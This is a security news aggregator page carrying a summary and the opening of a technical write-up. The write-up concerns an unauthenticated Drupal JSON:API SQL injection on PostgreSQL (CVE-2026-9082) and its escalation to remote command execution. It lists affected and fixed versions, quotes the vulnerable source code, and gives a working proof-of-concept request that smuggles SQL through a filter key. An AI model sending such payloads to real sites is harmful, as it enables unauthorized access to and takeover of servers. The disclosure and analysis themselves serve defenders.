Security News

Cybersecurity news aggregator

🔓
CRITICAL Vulnerabilities Reddit r/netsec

Drupal PostgreSQL SQL Injection: From SELECT-Only to RCE

This article details how an unauthenticated SQL injection in Drupal's JSON:API (CVE-2026-9082, CVSS 9.8 CRITICAL) can be exploited to achieve remote command execution on PostgreSQL databases, even when the injection is constrained to a single SELECT expression by leveraging superuser-only PostgreSQL functions. Affected versions are Drupal 8.9.0 to 10.4.9, 10.5.0 to 10.5.9, 10.6.0 to 10.6.8, 11.0.0 to 11.1.9, and 11.2.0 to 11.2.11. The vulnerability is fixed in Drupal versions 10.4.10, 10.5.10, 10.6.9, 11.1.10, 11.2.12, and 11.3.10.
Read Full Article →

Introduction This article is about turning a SELECT-only PostgreSQL SQL injection into remote command execution. The entry point used here is Drupal Core PostgreSQL SQL injection CVE-2026-9082 , tracked by Drupal as SA-CORE-2026-004 , a fully unauthenticated SQL injection reachable through a public JSON:API collection filter. Drupal is the trigger, but not the main point: once an SQL injection lets you evaluate a PostgreSQL expression such as (SELECT ...) as a PostgreSQL superuser, the same technique can be used outside Drupal. The primitive stays inside one SQL statement. It does not require classic stacked queries, COPY ... TO PROGRAM , CREATE EXTENSION , LOAD , DO , or an application feature that executes shell commands. The interesting part is elsewhere: PostgreSQL exposes enough superuser-only side effects through functions to make a single expression much more powerful than it first appears. The rest of the article builds that path step by step, starting from the Drupal sink and ending with command output recovered through the same injection. A. Why SELECT-only matters Most real SQL injections are not a free-form SQL console. They land inside a predicate, a scalar expression, an ORDER BY clause, an IN (...) list, or a subquery slot built by an ORM, framework, or prepared-statement wrapper. In these situations, stacked SQL is usually unavailable. The attacker does not usually control the exact string sent to PostgreSQL. An ORM, a query builder, or a database client such as PDO receives structured inputs, fragments, field names, operators, and values, then rebuilds the SQL query it will submit to the server. That rebuilding step changes the rules: values become placeholders, identifiers may be quoted, arrays are expanded, and some constructs are rejected before PostgreSQL ever sees them. Even when a vulnerable feature appears to accept a free-form expression, the payload is still interpreted inside the client's grammar first. Syntax that would work in a raw SQL console, especially ; followed by a second statement, often never reaches the database as stacked SQL. This is why SELECT-only SQLi is often treated as "data access only". The obvious PostgreSQL RCE primitives are top-level statements such as COPY ... TO PROGRAM , CREATE EXTENSION , LOAD , and DO : COPY ... TO PROGRAM ... CREATE EXTENSION ... LOAD ... DO ... Those cannot be placed inside a scalar (SELECT ...) expression. The useful observation is that PostgreSQL still exposes powerful superuser-only side effects as functions. If the injection can call functions from an expression, RCE does not need stacked statements. B. Drupal as the trigger CVE-2026-9082 starts in Drupal JSON:API filters. Drupal reads the filter query parameter, resolves the requested field, and passes the filter value to the entity query builder: Source: EntityResource.php#L1236-L1239 <?php // core/modules/jsonapi/src/Controller/EntityResource.php $params [ Filter :: KEY_NAME ] = Filter :: createFromQueryParameter ( $request -> query -> all ( 'filter' ), $resource_type , $this -> fieldResolver ); Source: Filter.php#L118-L123 <?php // core/modules/jsonapi/src/Query/Filter.php $group -> condition ( $member -> field (), $member -> value (), $member -> operator ()); The PostgreSQL-specific entity query condition handler then builds a case-insensitive IN condition. In the vulnerable version, it uses PHP array keys when constructing PDO placeholder names: Source: Condition.php#L16-L33 <?php public static function translateCondition ( & $condition , SelectInterface $sql_query , $case_sensitive ) { if ( is_array ( $condition [ 'value' ]) && $case_sensitive === FALSE ) { $condition [ 'where' ] = 'LOWER(' . $sql_query -> escapeField ( $condition [ 'real_field' ]) . ') ' . $condition [ 'operator' ] . ' (' ; $condition [ 'where_args' ] = []; $where_prefix = str_replace ( '.' , '_' , $condition [ 'real_field' ]); foreach ( $condition [ 'value' ] as $key => $value ) { $where_id = $where_prefix . $key ; $condition [ 'where' ] .= 'LOWER(:' . $where_id . '),' ; $condition [ 'where_args' ][ ':' . $where_id ] = $value ; } $condition [ 'where' ] = trim ( $condition [ 'where' ], ',' ); $condition [ 'where' ] .= ')' ; } parent :: translateCondition ( $condition , $sql_query , $case_sensitive ); } A malicious request supplies one normal key to satisfy the binding and another key containing SQL: GET /jsonapi/node/article? filter[c][condition][path]=title& filter[c][condition][operator]=IN& filter[c][condition][value][0]=x& filter[c][condition][value][0)) OR (SELECT pg_sleep(5)) IS NOT NULL--]=y Drupal generates a placeholder that starts normally and then continues with attacker-controlled SQL: LOWER ( title ) IN ( LOWER (: title_value0 ), LOWER (: title_value0 )) OR ( SELECT pg_sleep ( 5 )) IS NOT NULL --), ) C. Getting a PostgreSQL expression PDO named placeholders only consume alphanumeric and underscore characters after : . In PHP 8.3.6 , the parser rule is: Source: pdo_sql_parser.re#L48-L62 BINDC...

Share this article